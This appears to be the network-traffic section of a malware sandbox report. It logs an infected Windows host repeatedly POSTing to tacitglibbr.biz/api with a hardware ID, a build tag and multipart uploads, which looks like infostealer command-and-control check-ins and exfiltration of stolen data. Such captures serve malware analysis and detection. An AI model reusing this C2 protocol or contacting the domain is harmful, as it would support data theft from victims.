2024-12-16 16:03:10 UTC	1031	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eamcmerutpvt2a4aj264jb0het; expires=Fri, 11-Apr-2025 09:49:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1X%2FpT0GbGKZbKD%2BAg03nyYBzdZbACbQsiE56Zw7PfWqYDhRtM5p%2B%2FsE3WICe8VTN%2BhPxjpN%2BFyO1WjIivC7cZPoowyn%2BM%2BRmDx8buv7A%2BlZTAXH%2BN0Qkomga%2BQp8E9v%2F3e0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe6d91f8054cd-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14197&min_rtt=14192&rtt_var=5333&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=205113&cwnd=32&unsent_bytes=0&cid=06bd34d1394790b4&ts=2866&x=0"
2024-12-16 16:03:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 16:03:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.8	49848	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:12 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 16:03:12 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 16:03:14 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nbvbvcvsjvtjuta2k9pc7jk93d; expires=Fri, 11-Apr-2025 09:49:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F1wwyMYCH6WRqfmr6Srjng5egPjmZDOv7uJ3BKHTUCHXLDmKwrGYHG1SnTzJpoB%2B9urIjmpYtYBlTL%2Fnhhyo4pT802DAkuSAgt3gjoL6TjJkvwdygo4HI0ZhsSLmaADUjVI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe6f31f9af793-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1643&rtt_var=619&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=946&delivery_rate=1765417&cwnd=140&unsent_bytes=0&cid=5e7fec173950fa70&ts=2261&x=0"
2024-12-16 16:03:14 UTC	357	IN	Data Raw: 31 64 32 65 0d 0a 33 6c 30 4a 31 54 49 62 53 42 68 2f 61 35 2b 4a 67 4f 41 6c 64 58 53 46 37 63 42 6e 35 63 53 47 55 39 53 36 31 44 78 67 32 56 65 6c 66 33 2f 33 43 43 39 6b 4f 67 77 4f 76 62 50 30 6b 6c 41 51 57 4b 65 4d 70 45 58 66 6f 75 63 2f 70 39 2f 34 48 68 61 30 64 65 51 37 61 4c 6c 42 66 6d 51 36 47 68 4f 39 73 39 75 62 42 78 41 61 70 39 66 69 41 6f 2b 6d 35 7a 2b 32 32 37 39 54 45 4c 55 30 74 6a 46 75 76 56 64 34 4c 48 6b 54 42 76 72 73 35 59 46 50 47 78 33 6f 68 61 31 46 79 65 62 6a 4b 66 61 41 39 6e 45 46 72 54 61 54 50 48 71 2b 45 47 5a 6b 59 31 30 4f 38 61 75 36 77 6b 51 51 46 75 6d 4c 70 41 79 4e 72 4f 34 33 74 39 36 2b 54 41 6d 2f 50 37 59 2f 62 62 78 64 63 54 68 30 47 51 48 78 36 75 2b 42 42 31 6c 57 34 4a 66 69 58 63 66 31 31 6a 4b 6e 79 Data Ascii: 1d2e3l0J1TIbSBh/a5+JgOAldXSF7cBn5cSGU9S61Dxg2Velf3/3CC9kOgwOvbP0klAQWKeMpEXfouc/p9/4Hha0deQ7aLlBfmQ6GhO9s9ubBxAap9fiAo+m5z+2279TELU0tjFuvVd4LHkTBvrs5YFPGx3oha1FyebjKfaA9nEFrTaTPHq+EGZkY10O8au6wkQQFumLpAyNrO43t96+TAm/P7Y/bbxdcTh0GQHx6u+BB1lW4JfiXcf11jKny
2024-12-16 16:03:14 UTC	1369	IN	Data Raw: 6f 46 51 4c 32 37 76 43 4a 54 68 6f 62 35 34 4b 6f 43 6f 53 6d 34 7a 75 38 31 37 78 61 44 37 59 7a 76 44 38 72 2b 52 42 2b 4d 6a 70 46 53 64 37 75 38 6f 56 4c 41 56 54 64 7a 37 31 4c 6e 75 62 6a 50 66 61 41 39 6c 59 48 75 44 61 33 4d 47 69 2f 57 32 73 71 61 42 73 45 2b 50 6e 6b 68 30 6b 64 46 66 57 46 72 41 4f 45 72 2b 38 34 73 39 2b 79 48 6b 7a 37 4d 71 52 2f 4d 2f 64 78 64 43 46 32 46 78 37 39 71 2f 33 4d 58 6c 63 52 36 38 2f 36 52 59 4f 6e 34 44 43 79 31 72 68 61 44 72 30 37 73 54 42 74 76 56 42 2b 49 48 49 56 43 50 44 67 37 59 4a 43 47 68 4c 68 67 36 4d 41 78 2b 69 6b 4e 71 36 59 37 68 34 73 76 44 61 75 66 56 36 30 58 6e 63 74 62 46 30 57 73 2f 4b 69 68 55 74 58 54 71 65 42 70 77 71 56 70 2f 59 30 75 4d 71 36 57 77 53 32 4e 72 49 2f 62 72 42 64 64 79 Data Ascii: oFQL27vCJThob54KoCoSm4zu817xaD7YzvD8r+RB+MjpFSd7u8oVLAVTdz71LnubjPfaA9lYHuDa3MGi/W2sqaBsE+Pnkh0kdFfWFrAOEr+84s9+yHkz7MqR/M/dxdCF2Fx79q/3MXlcR68/6RYOn4DCy1rhaDr07sTBtvVB+IHIVCPDg7YJCGhLhg6MAx+ikNq6Y7h4svDaufV60XnctbF0Ws/KihUtXTqeBpwqVp/Y0uMq6WwS2NrI/brBddy
2024-12-16 16:03:14 UTC	1369	IN	Data Raw: 73 2f 4b 69 68 55 74 58 54 71 65 43 71 67 43 43 71 65 55 37 75 4e 32 38 55 67 71 31 4e 71 34 77 62 37 64 63 63 53 42 33 45 77 33 31 34 75 6d 4a 51 52 63 58 37 63 2f 73 52 59 43 2b 70 47 6e 32 37 4c 46 53 44 37 52 33 69 54 78 6c 75 56 64 76 61 6d 56 54 45 4c 33 73 37 73 49 66 56 78 72 75 6a 36 6b 50 67 36 62 6a 50 4c 50 62 73 56 30 50 76 44 2b 79 4f 47 2b 37 57 58 51 73 65 68 6f 4e 2b 50 6e 6e 69 30 73 62 56 71 6e 50 70 52 33 48 2f 71 51 65 73 63 36 31 63 51 47 71 50 50 77 67 4a 61 34 51 66 69 59 36 52 55 6e 36 37 75 71 4a 51 52 38 57 39 59 71 73 44 6f 61 73 34 6a 43 37 31 4c 42 65 41 37 73 7a 73 44 39 73 73 45 4a 72 4c 33 77 50 41 37 32 6c 6f 6f 56 66 56 30 36 6e 75 62 49 53 6c 72 43 6d 42 4c 58 57 75 46 6b 55 2b 79 72 79 4a 69 75 77 58 44 6c 79 4f 68 59 Data Ascii: s/KihUtXTqeCqgCCqeU7uN28Ugq1Nq4wb7dccSB3Ew314umJQRcX7c/sRYC+pGn27LFSD7R3iTxluVdvamVTEL3s7sIfVxruj6kPg6bjPLPbsV0PvD+yOG+7WXQsehoN+Pnni0sbVqnPpR3H/qQesc61cQGqPPwgJa4QfiY6RUn67uqJQR8W9YqsDoas4jC71LBeA7szsD9ssEJrL3wPA72looVfV06nubISlrCmBLXWuFkU+yryJiuwXDlyOhY
2024-12-16 16:03:14 UTC	1369	IN	Data Raw: 59 6c 56 46 78 76 6a 67 36 59 4e 6a 4b 79 6b 66 2f 62 66 72 68 35 61 2b 77 43 78 4d 47 75 30 52 6a 6b 31 4e 41 52 4a 2b 75 65 69 32 67 63 62 47 4f 65 41 72 67 6d 4d 72 75 55 39 75 4e 2b 7a 56 77 71 7a 4a 37 30 37 59 37 5a 65 64 69 74 2b 47 41 7a 35 37 4f 61 45 53 46 64 59 70 34 69 36 52 64 2f 6d 79 78 61 44 6d 70 64 6b 51 71 52 37 70 58 39 73 75 78 41 68 61 6e 59 65 42 66 58 6b 35 49 74 4c 48 52 2f 73 67 36 6b 42 69 36 2f 68 4e 37 66 64 73 31 38 47 74 7a 2b 36 50 47 69 34 58 33 59 69 4f 6c 4e 4a 2b 76 4f 69 32 67 63 79 41 65 79 42 70 45 57 59 36 50 31 78 73 64 54 32 42 6b 4b 33 50 4c 6f 35 62 72 74 52 66 79 4a 2f 46 51 33 38 37 65 53 42 53 42 4d 54 35 6f 43 6d 43 59 6d 73 35 54 43 36 30 37 6c 56 42 2f 74 37 2f 44 68 7a 39 77 67 35 47 33 6b 4c 48 75 33 6e Data Ascii: YlVFxvjg6YNjKykf/bfrh5a+wCxMGu0Rjk1NARJ+uei2gcbGOeArgmMruU9uN+zVwqzJ707Y7Zedit+GAz57OaESFdYp4i6Rd/myxaDmpdkQqR7pX9suxAhanYeBfXk5ItLHR/sg6kBi6/hN7fds18Gtz+6PGi4X3YiOlNJ+vOi2gcyAeyBpEWY6P1xsdT2BkK3PLo5brtRfyJ/FQ387eSBSBMT5oCmCYms5TC607lVB/t7/Dhz9wg5G3kLHu3n
2024-12-16 16:03:14 UTC	1369	IN	Data Raw: 6c 57 34 4a 66 69 58 63 65 49 37 79 4b 68 32 37 68 56 46 4b 42 31 6f 33 46 79 39 31 64 31 61 69 4a 64 43 76 62 67 35 6f 4a 4c 46 78 4c 71 6a 37 41 4b 67 4b 48 74 4f 71 54 53 73 56 6b 4a 73 7a 36 7a 4f 58 6d 37 58 6d 73 76 61 41 39 4a 73 36 76 6c 6d 67 64 50 56 74 47 49 73 68 57 45 35 4e 55 6e 74 63 36 39 55 77 37 37 4b 76 49 6d 4b 37 42 63 4f 58 49 36 47 77 62 30 36 4f 32 44 54 68 73 62 34 6f 61 6e 42 49 47 69 37 6a 75 32 33 72 42 66 42 37 45 32 76 54 56 69 73 46 68 2b 4b 57 68 64 52 37 33 73 2b 73 49 66 56 7a 2f 67 6e 61 77 56 78 37 6d 71 4b 50 62 66 75 68 35 61 2b 7a 47 32 4d 47 2b 77 58 48 38 76 66 42 41 49 38 75 72 69 6a 55 4d 63 48 2b 47 4f 72 77 43 4b 6f 76 59 37 76 64 65 36 56 77 36 32 64 66 4a 2f 62 4b 38 51 49 57 70 4c 45 41 66 7a 37 50 54 43 57 Data Ascii: lW4JfiXceI7yKh27hVFKB1o3Fy91d1aiJdCvbg5oJLFxLqj7AKgKHtOqTSsVkJsz6zOXm7XmsvaA9Js6vlmgdPVtGIshWE5NUntc69Uw77KvImK7BcOXI6Gwb06O2DThsb4oanBIGi7ju23rBfB7E2vTVisFh+KWhdR73s+sIfVz/gnawVx7mqKPbfuh5a+zG2MG+wXH8vfBAI8urijUMcH+GOrwCKovY7vde6Vw62dfJ/bK8QIWpLEAfz7PTCW
2024-12-16 16:03:14 UTC	1369	IN	Data Raw: 43 72 77 61 42 6f 4f 38 39 70 4e 47 32 58 51 6e 37 65 2f 77 34 63 2f 63 49 4f 51 6c 74 43 77 50 36 35 2f 53 4a 52 68 51 41 36 70 2f 69 53 38 65 33 34 79 44 32 67 4b 42 4f 46 62 77 71 38 69 59 72 73 46 77 35 63 6a 6f 62 41 50 76 73 35 49 78 56 45 68 44 6f 67 4b 73 4d 67 36 37 6e 4d 62 4c 63 73 56 73 42 74 7a 36 37 50 47 53 7a 57 58 63 6a 64 56 31 48 76 65 7a 36 77 68 39 58 4e 2f 79 4d 72 67 6a 48 75 61 6f 6f 39 74 2b 36 48 6c 72 37 4f 62 49 36 61 37 31 57 66 53 39 38 46 77 7a 39 34 4f 47 4e 51 78 45 53 36 49 2b 70 44 49 61 67 34 54 75 39 33 72 74 64 42 4c 31 31 38 6e 39 73 72 78 41 68 61 6c 6f 47 42 50 48 73 6f 70 30 4a 44 6c 62 67 67 2b 4a 64 78 36 33 6f 4e 62 48 59 75 31 30 4b 76 6a 47 32 4f 6d 75 2f 51 6e 45 71 66 51 38 62 2f 65 4c 6e 6a 6b 51 58 45 75 Data Ascii: CrwaBoO89pNG2XQn7e/w4c/cIOQltCwP65/SJRhQA6p/iS8e34yD2gKBOFbwq8iYrsFw5cjobAPvs5IxVEhDogKsMg67nMbLcsVsBtz67PGSzWXcjdV1Hvez6wh9XN/yMrgjHuaoo9t+6Hlr7ObI6a71WfS98Fwz94OGNQxES6I+pDIag4Tu93rtdBL118n9srxAhaloGBPHsop0JDlbgg+Jdx63oNbHYu10KvjG2Omu/QnEqfQ8b/eLnjkQXEu
2024-12-16 16:03:14 UTC	276	IN	Data Raw: 68 4b 6e 31 44 2f 61 41 72 32 42 43 73 43 4f 37 4c 32 69 68 57 33 51 6d 61 79 4e 4a 70 62 2b 77 30 42 56 46 52 50 6a 50 76 54 72 4a 35 75 56 78 37 75 47 76 48 68 54 37 62 65 35 78 4b 36 55 51 49 57 6f 39 48 68 76 76 37 65 47 55 52 46 41 6f 32 61 69 30 44 34 43 32 34 79 61 35 6d 50 67 65 44 66 74 74 68 58 39 69 73 45 74 6f 50 48 63 4e 44 72 33 55 72 4d 4a 66 56 30 36 6e 75 71 45 4c 69 61 48 79 49 50 76 2f 6f 46 51 46 71 7a 4b 72 4d 43 76 35 45 48 39 71 49 6b 35 48 76 65 2f 7a 77 68 39 48 52 4c 7a 61 38 56 4c 58 39 50 74 2f 72 35 69 67 48 6c 72 70 65 2f 77 74 4b 2b 38 51 50 69 6c 6f 44 77 2f 2b 2f 65 48 46 65 53 6b 78 2f 59 4b 6b 45 70 61 59 32 6a 61 73 31 62 42 4a 45 2f 63 67 76 7a 46 6c 73 45 59 35 5a 44 6f 53 53 61 58 53 6f 73 6f 48 4b 46 69 6e 6c 2b 4a Data Ascii: hKn1D/aAr2BCsCO7L2ihW3QmayNJpb+w0BVFRPjPvTrJ5uVx7uGvHhT7be5xK6UQIWo9Hhvv7eGURFAo2ai0D4C24ya5mPgeDftthX9isEtoPHcNDr3UrMJfV06nuqELiaHyIPv/oFQFqzKrMCv5EH9qIk5Hve/zwh9HRLza8VLX9Pt/r5igHlrpe/wtK+8QPiloDw/+/eHFeSkx/YKkEpaY2jas1bBJE/cgvzFlsEY5ZDoSSaXSosoHKFinl+J
2024-12-16 16:03:14 UTC	1369	IN	Data Raw: 32 62 65 65 0d 0a 79 6d 45 44 64 71 66 46 31 52 72 61 57 69 68 6c 5a 58 54 72 66 64 2b 56 44 55 38 62 52 6a 71 5a 61 76 48 68 54 37 62 65 35 78 4b 36 55 51 49 57 6f 39 48 68 76 76 37 65 47 55 52 46 41 6f 32 61 47 6c 41 34 4b 68 39 48 4f 59 30 36 4a 5a 51 76 56 31 73 33 38 7a 6a 68 41 78 61 6b 56 54 53 65 57 72 75 73 4a 79 46 42 6a 70 69 4c 51 55 79 6f 6a 6a 4e 37 50 66 70 68 77 73 73 43 47 37 66 79 58 33 56 6a 6c 79 4b 6c 4e 4a 2b 66 71 69 32 68 64 46 54 62 4c 63 39 56 58 56 75 61 6f 6f 39 73 37 32 42 6c 44 31 64 61 35 2f 4d 2f 63 58 65 6a 68 6f 47 77 72 72 36 4b 57 38 65 52 51 41 36 6f 43 70 42 4c 6d 59 79 6a 79 33 32 37 67 63 4d 36 30 34 72 44 78 75 73 47 35 48 4a 48 30 4a 44 76 50 74 34 73 49 4a 56 78 6d 6e 31 35 74 46 7a 2b 62 62 66 2f 62 41 39 67 5a Data Ascii: 2beeymEDdqfF1RraWihlZXTrfd+VDU8bRjqZavHhT7be5xK6UQIWo9Hhvv7eGURFAo2aGlA4Kh9HOY06JZQvV1s38zjhAxakVTSeWrusJyFBjpiLQUyojjN7PfphwssCG7fyX3VjlyKlNJ+fqi2hdFTbLc9VXVuaoo9s72BlD1da5/M/cXejhoGwrr6KW8eRQA6oCpBLmYyjy327gcM604rDxusG5HJH0JDvPt4sIJVxmn15tFz+bbf/bA9gZ
2024-12-16 16:03:14 UTC	1369	IN	Data Raw: 47 31 30 2b 55 6b 35 50 44 70 46 57 37 4f 72 38 4d 49 66 56 31 48 6b 6e 62 41 44 68 4c 44 6e 64 6f 6a 6d 6b 56 41 46 75 69 4f 73 4d 6d 65 57 55 32 67 67 52 43 4d 63 2f 75 58 73 68 56 45 47 56 71 6e 50 72 55 58 66 6e 36 52 35 39 75 66 34 48 68 72 37 62 66 77 4b 61 4c 6c 65 66 6a 78 72 55 43 37 7a 37 4f 4f 55 56 78 6f 61 78 6f 79 7a 44 38 66 6f 70 44 66 32 67 4f 51 51 51 72 38 6b 2f 47 63 37 35 51 73 73 65 53 31 4e 57 2b 4b 6c 2b 38 4a 52 56 30 36 31 77 65 49 58 78 2f 36 6b 64 72 58 4b 70 46 67 42 72 54 62 37 41 56 57 53 52 33 6f 36 66 42 34 33 77 38 44 75 68 45 41 4e 45 65 47 70 67 6b 58 4a 35 75 74 78 37 75 48 32 46 6b 4b 45 65 2f 77 6e 4b 2b 38 51 54 43 6c 30 45 77 37 72 2b 71 2b 6e 55 42 51 47 34 59 7a 69 53 38 65 67 70 47 6e 6d 6c 76 5a 61 45 2f 74 74 Data Ascii: G10+Uk5PDpFW7Or8MIfV1HknbADhLDndojmkVAFuiOsMmeWU2ggRCMc/uXshVEGVqnPrUXfn6R59uf4Hhr7bfwKaLlefjxrUC7z7OOUVxoaxoyzD8fopDf2gOQQQr8k/Gc75QsseS1NW+Kl+8JRV061weIXx/6kdrXKpFgBrTb7AVWSR3o6fB43w8DuhEANEeGpgkXJ5utx7uH2FkKEe/wnK+8QTCl0Ew7r+q+nUBQG4YziS8egpGnmlvZaE/tt

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.8	49888	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:20 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FIRQMH36UCM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12373 Host: tacitglibbr.biz
2024-12-16 16:03:20 UTC	12373	OUT	Data Raw: 2d 2d 46 49 52 51 4d 48 33 36 55 43 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 49 52 51 4d 48 33 36 55 43 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 49 52 51 4d 48 33 36 55 43 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 46 49 52 51 4d 48 33 36 55 43 4d 0d 0a 43 6f 6e 74 Data Ascii: --FIRQMH36UCMContent-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--FIRQMH36UCMContent-Disposition: form-data; name="pid"2--FIRQMH36UCMContent-Disposition: form-data; name="lid"PsFKDg--pablo--FIRQMH36UCMCont
2024-12-16 16:03:24 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0tjs602b7tnkoebj1h7988i3lh; expires=Fri, 11-Apr-2025 09:50:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7pARxoMoVkP54%2Bfvs7U1zqZXi4AhVDdHZde15Ztux4c5XvHpOJ65up8eYqKOg%2BcgFnAu4Jr2kvQUTmR8wd3kT9FIebnpqIQ62f%2FbnnbR9Ux%2Fe5cYIcPb4Lit5zLl7pXrqS8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe72649203b89-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7245&min_rtt=7244&rtt_var=2718&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13305&delivery_rate=402592&cwnd=32&unsent_bytes=0&cid=6adbac045bf9cb10&ts=3965&x=0"
2024-12-16 16:03:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 16:03:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.8	49919	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:25 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D5VUQ48839H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15033 Host: tacitglibbr.biz
2024-12-16 16:03:25 UTC	15033	OUT	Data Raw: 2d 2d 44 35 56 55 51 34 38 38 33 39 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 44 35 56 55 51 34 38 38 33 39 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 35 56 55 51 34 38 38 33 39 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 44 35 56 55 51 34 38 38 33 39 48 0d 0a 43 6f 6e 74 Data Ascii: --D5VUQ48839HContent-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--D5VUQ48839HContent-Disposition: form-data; name="pid"2--D5VUQ48839HContent-Disposition: form-data; name="lid"PsFKDg--pablo--D5VUQ48839HCont
2024-12-16 16:03:27 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uovudprjkhk9kvqnquu84ugebq; expires=Fri, 11-Apr-2025 09:50:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5m2QsHcOsix7aU4ksA1zRnLcDcyzSjkKTMLoSMv2eDqH7TBgqGsSPsceiUdkJL6mntXqIu4Z%2BrO1y2ZJwLDjJLFf4IP%2Br6v1LZZIeedY%2Bmy%2B%2B%2BC5T5sJG3t0c0NWX6UdeqU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe7470c16a204-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14145&min_rtt=14132&rtt_var=5326&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2839&recv_bytes=15965&delivery_rate=205056&cwnd=32&unsent_bytes=0&cid=3672064db3f5d586&ts=1723&x=0"
2024-12-16 16:03:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 16:03:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.8	49926	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:28 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2UV8ZNTWSU6P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20206 Host: tacitglibbr.biz
2024-12-16 16:03:28 UTC	15331	OUT	Data Raw: 2d 2d 32 55 56 38 5a 4e 54 57 53 55 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 55 56 38 5a 4e 54 57 53 55 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 32 55 56 38 5a 4e 54 57 53 55 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 32 55 56 38 5a 4e 54 57 53 55 36 50 0d 0a Data Ascii: --2UV8ZNTWSU6PContent-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--2UV8ZNTWSU6PContent-Disposition: form-data; name="pid"3--2UV8ZNTWSU6PContent-Disposition: form-data; name="lid"PsFKDg--pablo--2UV8ZNTWSU6P
2024-12-16 16:03:28 UTC	4875	OUT	Data Raw: 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: >7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
